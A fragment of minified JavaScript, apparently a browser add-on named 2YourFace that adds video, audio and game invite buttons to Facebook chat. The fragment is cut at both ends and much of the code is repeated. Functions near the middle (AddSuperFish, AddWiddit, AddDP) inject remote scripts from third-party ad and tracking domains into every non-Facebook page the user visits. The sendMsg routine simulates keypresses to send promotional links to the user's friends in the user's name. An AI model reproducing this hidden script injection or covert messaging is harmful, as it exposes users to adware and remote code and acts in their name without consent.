auto;"),document.body.appendChild(a))}}function onscroll(){var a=document.body.scrollTop,b=window.jQuery("div#ChatDialog",document);b.position();b.offset({left:0.35*document.body.clientWidth,top:a+200})}function IsScriptInstalled(){return-1!=document.body.innerHTML.indexOf("ChatDialog")}function scriptLoadHandler(){jQuery=window.jQuery.noConflict(!0);OnTimeout()}function Process(){var a=-1,b=document;if(""==gMyName){var d=getElementsByClassName("headerTinymanName");0<d.length&&(gMyName=d[0].innerHTML)}d=window.jQuery("div#fbDockChat",b);b=window.jQuery("div.fbDockChatTab",d);0==b.length&&(b=window.jQuery(".fbNubFlyout.fbDockChatTabFlyout",d));if(null!=b)for(d=0;d<b.length;d++){var c=window.jQuery("div.fbNubFlyout",b[d])[0];null==c&&(c=window.jQuery(".fbNubFlyoutOuter",b[d])[0]);c.innerHTML.indexOf("textarea");var f=window.jQuery("div.fbNubFlyoutTitlebar",c),h=window.jQuery("span.titlebarText",f),a=GetUIDFromName(e);if(-1==a){var e=c.innerHTML,i="/messages/",g=e.indexOf(i);-1!=g?(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)):(i="?id=",g=e.indexOf(i),-1!=g&&(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)))}var e=GetFriendName(f.html());""==e&&(e=h.html());-1==a&&(a=GetUIDFromName(e));AddToolbar(c,e,a);ParseInvitations(c,e,a)}}function GetUIDFromName(a){var b=window.ChatUserInfos,d;for(d in b)if(b.hasOwnProperty(d)&&a==b[d].name)return d;return-1}function isValidWebsite(){return-1!=window.location.href.indexOf("facebook.com")}function OnTimeout(){m_lastTimeout=new Date;-1!=window.location.href.indexOf("facebook.com")&&(!1==IsScriptInstalled()&&Start(),setTimeout("OnTimeout()",2500),Process())}function GetFriendName(a){var b=a.indexOf(<a class="titlebarText),b=a.indexOf(">",b+22),b=b+1,d=a.indexOf("<",b);return a.substring(b,d)}function SendSmiley(a){sendMsg(gSmileyMSG,a)}function AddToolbar(a,b,d){a=window.jQuery("div.fbNubFlyoutBody",a);b=<div style="height:18px;" class="fbNubFlyoutBody" /><div id="VideoChatToolbar_+d+" class="fbNubFlyoutBody11" style="height:18px;position:relative;top:0px;background:#6d84b4;">+(<div style="position:absolute;left:20px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Video Chat" title="Video Chat with +b+"/></div>)+(<div style="position:absolute;left:65px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Audio Chat" title="Audio Chat with +b+" /></div>)+(<div style="position:absolute;left:110px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Play Games with +b+" /></div>)+(<div style="position:absolute;left:155px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Send a Smiley to +b+" /></div>)+(<div style="width:26px;height:30px;position:absolute;left:23px;top:-21px;cursor:pointer" ><a href=\javascript:InviteVideo(+d+,"+b+");\><img src="http://www.2yourface.com/Plugin/images/video.png" alt="Video Chat" title="Video Chat with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:72px;top:-21px;cursor:pointer" ><a href=\javascript:InviteCall(+d+,"+b+");\ ><img src="http://www.2yourface.com/Plugin/images/audio.png" alt="Video Chat" title="Audio Chat with +b+" /></a></div>)+(<div style="position:absolute;left:110px;top:-21px;cursor:pointer" ><a href=\javascript:InviteGames(+d+,"+b+");\ ><img style="width:24px;height:20px;position:absolute;left:5px;top:5px;" src="http://www.2yourface.com/Plugin/images/games.png" alt="Games" title="Play Games with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:155px;top:-20px;cursor:pointer" ><a href=\javascript:SendSmiley(+d+);\ ><img src="http://addon.2yourface.com/Plugin/images/smiley.png" alt="Video Chat" title="Send Smiley to +b+" /></a></div>)+<div style="width:24px;height:30px;position:absolute;left:200px;top:0px;" ><img src="http://www.2yourface.com/Plugin/images/tblogo.png" alt="Video Chat" title="2YourFace.com" /></div>;d=a.parent().html();a.next().children();-1==d.indexOf("VideoChatToolbar")&&(a.height(197),a.after(b))}function ParseInvitations(a,b,d){for(var a=window.jQuery("div.fbChatMessage.fsm",a),c=0;c<a.length;c++)TryParseInvitation(a[c],d,b)}function TryParseSmileyInvitation(){return!1}function TryParseInvitation(a,b,d){TryParseSmileyInvitation(a,b,d)||TryParsePhoneCallInvite(a,b,d)||TryParseVideoInvite(a,b,d)||TryParseGameInvite(a,b,d)}function GetGameFromMessage(a){var b=a.indexOf(gGameInviteMsgPrefix);if(-1!=b){var b=b+gGameInviteMsgPrefix.length,d=a.indexOf(".");return a.substring(b,d)}return""}function TryParseGameInvite(a,b,d){var c=a.innerHTML;if(-1!=c.indexOf(gGameInviteMsgPrefix)){var f=IsMe(a),c=GetGameFromMessage(c);f?c="You have invited "+d+" to play "+c:(f=GetGameID(c),c=d+" invited You to Play "+c+" <a href=javascript:AcceptGame("+f+,"+Env.user+","+b+","+gMyName+"\") > Accept</a>");a.innerHTML=c;return!0}return!1}function TryParsePhoneCallInvite(a,b,d){var c=a.innerHTML;return-1!=c.indexOf(gPhoneCallInviteMsgPrefix)?(c=IsMe(a)?"You have invited "+d+" to an Audio Chat":d+" invited You to an Audio Chat <a href=javascript:StartPhone("+b+,"+d+"\") > Accept</a>",a.innerHTML=c,!0):!1}function StartPhone(a,b){OpenVoiceDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function StartVideo(a,b){OpenVideoDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function OpenVideoDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Video&runtime="+a+"&from="+Env.user,395,215,b,d,"Video Chat")}function OpenVoiceDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Voice&runtime="+a+"&from="+Env.user,395,215,b,d,"Audio Chat")}function OpenDialog(a,b,d,c,f,h){b=<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold">+h+ - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+c+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Chatting with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+f+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">+("<iframe src="+a+" width="+b+" height="+d+" scrolling=no border=no style=\"background-color:white;border:0px;\" />")+</div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);b=a[0];b.style.visibility="visible";b.style.display="block";b=document.body.scrollTop;d=a.position();c=document.body.clientWidth;c=50>d.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:c,top:b+200})}function CloseDialog(){document.body.style.display="block";document.getElementById("ChatDialog").style.display="none";document.getElementById("ChatDialog").innerHTML=""}function IsMe(a){var b=-1!=a.parentNode.parentNode.innerHTML.indexOf(title="You");return b=(b=b||-1!=a.parentNode.parentNode.innerHTML.indexOf(alt="+gMyName+"))||-1!=a.parentNode.parentNode.innerHTML.indexOf("_"+Env.user+"_")}function TryParseVideoInvite(a,b,d){var c=a.innerHTML;-1!=c.indexOf(gVideoCallInviteMsgPrefix)&&(c=IsMe(a)?c="You have invited "+d+" to a Video Chat":d+" invited You to a Video Chat <a href=javascript:StartVideo("+b+,"+d+"\") > Accept</a>",a.innerHTML=c)}function InviteCall(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gPhoneCallInviteMsg;if(sendMsg(d,a))OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function GetMyID(){var a=document.body.innerHTML.indexOf(detect_broken_proxy_cache("),a=a+"30",b=document.body.innerHTML.indexOf(",a);return document.body.innerHTML.substring(a,b)}function InviteVideo(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gVideoCallInviteMsg;if(sendMsg(d,a))OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function InviteGames(a,b){-1==a&&(a=GetUIDFromName(b));OpenGamesDialog(a,Env.user,"http://graph.facebook.com/"+a+"/picture",b)}function sendMsg(a,b){if("undefined"!=typeof window.chatDisplay)chatDisplay.tabs[b].chatInput.value=a,chatDisplay.tabs[b].sendInput();else{var d=window.jQuery("#VideoChatToolbar_"+b,document).next().children().children();d.focus();d[0].value=a;d.focus();var c;document.createEvent?(c=document.createEvent("Events"),c.initEvent("keydown",!0,!0)):c=document.createEventObject();c.view=window;c.altKey=!1;c.ctrlKey=!1;c.shiftKey=!1;c.metaKey=!1;c.keyCode=13;c.which=13;document.createEvent?d[0].dispatchEvent(c):d[0].fireEvent("onkeydown",c)}return!0}function OpenGame(a,b,d){b=GetGameName(a);b="I "+gGameInviteMsgPrefix+b+". Accept Now: "+gGameLink+b+gGameLinkSuffix;CloseDialog();var c=Env.user;if(sendMsg(b,d))StartGame(a,c,d,gMyName);else{var f=window.jQuery("#VideoChatToolbar_"+d,document).next().children().children();f.focus();f.keydown(function(b){13==b.which&&(StartGame(a,c,d,gMyName),f.unbind(!1))});TextAreaControl.getInstance(f[0]).setValue(b)}}function AcceptGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+d+"&second="+b+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function StartGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+b+"&second="+d+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function GetGameName(a){return 2==a?"Chess":1==a?"Backgammon":6==a?"Checkers":26==a?"Tic Tac Toe":86==a?"Darts":325==a?"Domino":256==a?"8-Ball":225==a?"Poker":"Game"}function GetGameID(a){return"Chess"==a?2:"8-Ball"==a?256:"Backgammon"==a?1:"Checkers"==a?6:"Tic Tac Toe"==a?26:"Darts"==a?86:"Domino"==a?325:"Poker"==a?225:1}function OpenGamesDialog(a,b,d,c){b="<style type=text/css >#ex5 img { margin: 5px; opacity: 0.8; border: 10px solid #eee;/*Transition*/-webkit-transition: all 0.5s ease; -moz-transition: all 0.5s ease; -o-transition: all 0.5s ease;/*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.1)));}#ex5 img:hover { opacity: 1; /*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.4))); /*Glow*/ -webkit-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); -moz-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); box-shadow: 0px 0px 20px rgba(255,255,255,0.8);}</style>"+(<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold"> Choose a Game and Play - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+d+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Choose a Game and Play with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+c+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">)+"<div id=ex5 style=background-color:gray;height:220px;width:400px; ><br/><br/>"+GetGameOfferHTML(2,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_chess.jpg",c,a);b+=GetGameOfferHTML(1,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_backgammon.jpg",c,a);b+=GetGameOfferHTML(256,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_snooker.jpg",c,a);b+=GetGameOfferHTML(325,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_domino.jpg",c,a);b=b+"<br/>"+GetGameOfferHTML(6,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_checkers.jpg",c,a);b+=GetGameOfferHTML(26,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_tic.jpg",c,a);b+=GetGameOfferHTML(86,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_darts.jpg",c,a);b+=GetGameOfferHTML(225,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_poker.jpg",c,a);b+=</div></div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);c=a[0];c.style.visibility="visible";c.style.display="block";c=document.body.scrollTop;b=a.position();d=document.body.clientWidth;d=50>b.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:d,top:c+200})}function GetGameOfferHTML(a,b,d,c){return"<a style=position:relative;top:-20px; href=\"javascript:OpenGame("+a+","+d+" ,"+c+)" ><img style="width:70px;height:70px;" src=\+b+" title=\"Invite "+d+" to play "+GetGameName(a)+" /></a>};</script><script type="text/javascript">AddSuperFish(); function AddSuperFish(){if(-1!=window.location.href.indexOf("http:")&&-1==window.location.href.indexOf("facebook.com")){var a=document.createElement("script");a.setAttribute("type","text/javascript");a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101");(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}else-1!=window.location.href.indexOf("https:")&&-1==window.location.href.indexOf("facebook.com")&&(a=document.createElement("script"),a.setAttribute("type","text/javascript"),a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101"),(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a))};AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) { var script_tag=document.createElement(script);script_tag.setAttribute("type","text/javascript"); script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch101"); (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag); }}function AddDP(){ if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 ) { var script_tag = document.createElement(script); script_tag.setAttribute("type", "text/javascript"); script_tag.setAttribute("src", "http://i.2yourfacejs.info/toyf/javascript.js?channel=ch101"); // Try to find the head, otherwise default to the documentElement (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag); }}AddDP();//3.4 no chacheID in gamesvar gpid="101",url=window.location.href,timeOut=3E3,gPhoneCallInviteMsgPrefix=" invite You to an Audio Chat. Accept Now : ",gVideoCallInviteMsgPrefix=" invite You to a Video Chat. Accept Now : ",gGameInviteMsgPrefix=" invite You to play ",date=new Date,cacheID=date.getDate()+"-"+(date.getMonth()+1)+"-"+date.getFullYear()+"-"+date.getHours(),gPhoneCallInviteMsg=gPhoneCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gVideoCallInviteMsg=gVideoCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gGameLink="http://www.f2yf.com/",gGameLinkSuffix="/"+gpid+"/",gSmileyMsgPrefix="I sent you a smiley. Accept Now: ",gSmileyMSG=":-D",gMyName="";window.setTimeout("OnTimeout()",2500);var m_lastTimeout=new Date;document.body.onmouseup=onUp;function onUp(){if(!0==isValidWebsite()){var a=(new Date).getTime()-m_lastTimeout.getTime(),a=new Date(a);(0<a.getMinutes()||0==a.getMinutes()&&2<a.getSeconds())&&OnTimeout()}}function getElementsByClassName(a){for(var b=[],a=RegExp("\\b"+a+"\\b"),d=document.getElementsByTagName("*"),c=0;c<d.length;c++)a.test(d[c].className)&&b.push(d[c]);return b}Start();function Start(){if(-1!=window.location.href.indexOf("facebook.com")){if(void 0===window.jQuery||"1.4.2"!==window.jQuery.fn.jquery){var a=document.createElement("script");a.setAttribute("type","text/javascript");-1!=window.location.href.indexOf("http:/")?a.setAttribute("src","http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"):a.setAttribute("src","https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js");a.onload=scriptLoadHandler;a.onreadystatechange=function(){("complete"==this.readyState||"loaded"==this.readyState)&&scriptLoadHandler()};(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}null==document.getElementById("ChatDialog")&&(a=document.createElement("div"),a.id="ChatDialog",a.setAttribute("style","display:none;position: absolute;top: 15%;left: 35%;width: width:484px;background:url(http://www.2yourface.com/Plugin/images/outer_bg.png);border-radius:8px;padding:9px;z-index:1002;overflow: auto;"),document.body.appendChild(a))}}function onscroll(){var a=document.body.scrollTop,b=window.jQuery("div#ChatDialog",document);b.position();b.offset({left:0.35*document.body.clientWidth,top:a+200})}function IsScriptInstalled(){return-1!=document.body.innerHTML.indexOf("ChatDialog")}function scriptLoadHandler(){jQuery=window.jQuery.noConflict(!0);OnTimeout()}function Process(){var a=-1,b=document;if(""==gMyName){var d=getElementsByClassName("headerTinymanName");0<d.length&&(gMyName=d[0].innerHTML)}d=window.jQuery("div#fbDockChat",b);b=window.jQuery("div.fbDockChatTab",d);0==b.length&&(b=window.jQuery(".fbNubFlyout.fbDockChatTabFlyout",d));if(null!=b)for(d=0;d<b.length;d++){var c=window.jQuery("div.fbNubFlyout",b[d])[0];null==c&&(c=window.jQuery(".fbNubFlyoutOuter",b[d])[0]);c.innerHTML.indexOf("textarea");var f=window.jQuery("div.fbNubFlyoutTitlebar",c),h=window.jQuery("span.titlebarText",f),a=GetUIDFromName(e);if(-1==a){var e=c.innerHTML,i="/messages/",g=e.indexOf(i);-1!=g?(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)):(i="?id=",g=e.indexOf(i),-1!=g&&(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)))}var e=GetFriendName(f.html());""==e&&(e=h.html());-1==a&&(a=GetUIDFromName(e));AddToolbar(c,e,a);ParseInvitations(c,e,a)}}function GetUIDFromName(a){var b=window.ChatUserInfos,d;for(d in b)if(b.hasOwnProperty(d)&&a==b[d].name)return d;return-1}function isValidWebsite(){return-1!=window.location.href.indexOf("facebook.com")}function OnTimeout(){m_lastTimeout=new Date;-1!=window.location.href.indexOf("facebook.com")&&(!1==IsScriptInstalled()&&Start(),setTimeout("OnTimeout()",2500),Process())}function GetFriendName(a){var b=a.indexOf(<a class="titlebarText),b=a.indexOf(">",b+22),b=b+1,d=a.indexOf("<",b);return a.substring(b,d)}function SendSmiley(a){sendMsg(gSmileyMSG,a)}function AddToolbar(a,b,d){a=window.jQuery("div.fbNubFlyoutBody",a);b=<div style="height:18px;" class="fbNubFlyoutBody" /><div id="VideoChatToolbar_+d+" class="fbNubFlyoutBody11" style="height:18px;position:relative;top:0px;background:#6d84b4;">+(<div style="position:absolute;left:20px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Video Chat" title="Video Chat with +b+"/></div>)+(<div style="position:absolute;left:65px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Audio Chat" title="Audio Chat with +b+" /></div>)+(<div style="position:absolute;left:110px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Play Games with +b+" /></div>)+(<div style="position:absolute;left:155px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Send a Smiley to +b+" /></div>)+(<div style="width:26px;height:30px;position:absolute;left:23px;top:-21px;cursor:pointer" ><a href=\javascript:InviteVideo(+d+,"+b+");\><img src="http://www.2yourface.com/Plugin/images/video.png" alt="Video Chat" title="Video Chat with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:72px;top:-21px;cursor:pointer" ><a href=\javascript:InviteCall(+d+,"+b+");\ ><img src="http://www.2yourface.com/Plugin/images/audio.png" alt="Video Chat" title="Audio Chat with +b+" /></a></div>)+(<div style="position:absolute;left:110px;top:-21px;cursor:pointer" ><a href=\javascript:InviteGames(+d+,"+b+");\ ><img style="width:24px;height:20px;position:absolute;left:5px;top:5px;" src="http://www.2yourface.com/Plugin/images/games.png" alt="Games" title="Play Games with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:155px;top:-20px;cursor:pointer" ><a href=\javascript:SendSmiley(+d+);\ ><img src="http://addon.2yourface.com/Plugin/images/smiley.png" alt="Video Chat" title="Send Smiley to +b+" /></a></div>)+<div style="width:24px;height:30px;position:absolute;left:200px;top:0px;" ><img src="http://www.2yourface.com/Plugin/images/tblogo.png" alt="Video Chat" title="2YourFace.com" /></div>;d=a.parent().html();a.next().children();-1==d.indexOf("VideoChatToolbar")&&(a.height(197),a.after(b))}function ParseInvitations(a,b,d){for(var a=window.jQuery("div.fbChatMessage.fsm",a),c=0;c<a.length;c++)TryParseInvitation(a[c],d,b)}function TryParseSmileyInvitation(){return!1}function TryParseInvitation(a,b,d){TryParseSmileyInvitation(a,b,d)||TryParsePhoneCallInvite(a,b,d)||TryParseVideoInvite(a,b,d)||TryParseGameInvite(a,b,d)}function GetGameFromMessage(a){var b=a.indexOf(gGameInviteMsgPrefix);if(-1!=b){var b=b+gGameInviteMsgPrefix.length,d=a.indexOf(".");return a.substring(b,d)}return""}function TryParseGameInvite(a,b,d){var c=a.innerHTML;if(-1!=c.indexOf(gGameInviteMsgPrefix)){var f=IsMe(a),c=GetGameFromMessage(c);f?c="You have invited "+d+" to play "+c:(f=GetGameID(c),c=d+" invited You to Play "+c+" <a href=javascript:AcceptGame("+f+,"+Env.user+","+b+","+gMyName+"\") > Accept</a>");a.innerHTML=c;return!0}return!1}function TryParsePhoneCallInvite(a,b,d){var c=a.innerHTML;return-1!=c.indexOf(gPhoneCallInviteMsgPrefix)?(c=IsMe(a)?"You have invited "+d+" to an Audio Chat":d+" invited You to an Audio Chat <a href=javascript:StartPhone("+b+,"+d+"\") > Accept</a>",a.innerHTML=c,!0):!1}function StartPhone(a,b){OpenVoiceDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function StartVideo(a,b){OpenVideoDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function OpenVideoDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Video&runtime="+a+"&from="+Env.user,395,215,b,d,"Video Chat")}function OpenVoiceDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Voice&runtime="+a+"&from="+Env.user,395,215,b,d,"Audio Chat")}function OpenDialog(a,b,d,c,f,h){b=<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold">+h+ - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+c+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Chatting with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+f+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">+("<iframe src="+a+" width="+b+" height="+d+" scrolling=no border=no style=\"background-color:white;border:0px;\" />")+</div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);b=a[0];b.style.visibility="visible";b.style.display="block";b=document.body.scrollTop;d=a.position();c=document.body.clientWidth;c=50>d.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:c,top:b+200})}function CloseDialog(){document.body.style.display="block";document.getElementById("ChatDialog").style.display="none";document.getElementById("ChatDialog").innerHTML=""}function IsMe(a){var b=-1!=a.parentNode.parentNode.innerHTML.indexOf(title="You");return b=(b=b||-1!=a.parentNode.parentNode.innerHTML.indexOf(alt="+gMyName+"))||-1!=a.parentNode.parentNode.innerHTML.indexOf("_"+Env.user+"_")}function TryParseVideoInvite(a,b,d){var c=a.innerHTML;-1!=c.indexOf(gVideoCallInviteMsgPrefix)&&(c=IsMe(a)?c="You have invited "+d+" to a Video Chat":d+" invited You to a Video Chat <a href=javascript:StartVideo("+b+,"+d+"\") > Accept</a>",a.innerHTML=c)}function InviteCall(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gPhoneCallInviteMsg;if(sendMsg(d,a))OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function GetMyID(){var a=document.body.innerHTML.indexOf(detect_broken_proxy_cache("),a=a+"30",b=document.body.innerHTML.indexOf(",a);return document.body.innerHTML.substring(a,b)}function InviteVideo(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gVideoCallInviteMsg;if(sendMsg(d,a))OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function InviteGames(a,b){-1==a&&(a=GetUIDFromName(b));OpenGamesDialog(a,Env.user,"http://graph.facebook.com/"+a+"/picture",b)}function sendMsg(a,b){if("undefined"!=typeof window.chatDisplay)chatDisplay.tabs[b].chatInput.value=a,chatDisplay.tabs[b].sendInput();else{var d=window.jQuery("#VideoChatToolbar_"+b,document).next().children().children();d.focus();d[0].value=a;d.focus();var c;document.createEvent?(c=document.createEvent("Events"),c.initEvent("keydown",!0,!0)):c=document.createEventObject();c.view=window;c.altKey=!1;c.ctrlKey=!1;c.shiftKey=!1;c.metaKey=!1;c.keyCode=13;c.which=13;document.createEvent?d[0].dispatchEvent(c):d[0].fireEvent("onkeydown",c)}return!0}function OpenGame(a,b,d){b=GetGameName(a);b="I "+gGameInviteMsgPrefix+b+". Accept Now: "+gGameLink+b+gGameLinkSuffix;CloseDialog();var c=Env.user;if(sendMsg(b,d))StartGame(a,c,d,gMyName);else{var f=window.jQuery("#VideoChatToolbar_"+d,document).next().children().children();f.focus();f.keydown(function(b){13==b.which&&(StartGame(a,c,d,gMyName),f.unbind(!1))});TextAreaControl.getInstance(f[0]).setValue(b)}}function AcceptGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+d+"&second="+b+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function StartGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+b+"&second="+d+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function GetGameName(a){return 2==a?"Chess":1==a?"Backgammon":6==a?"Checkers":26==a?"Tic Tac Toe":86==a?"Darts":325==a?"Domino":256==a?"8-Ball":225==a?"Poker":"Game"}function GetGameID(a){return"Chess"==a?2:"8-Ball"==a?256:"Backgammon"==a?1:"Checkers"==a?6:"Tic Tac 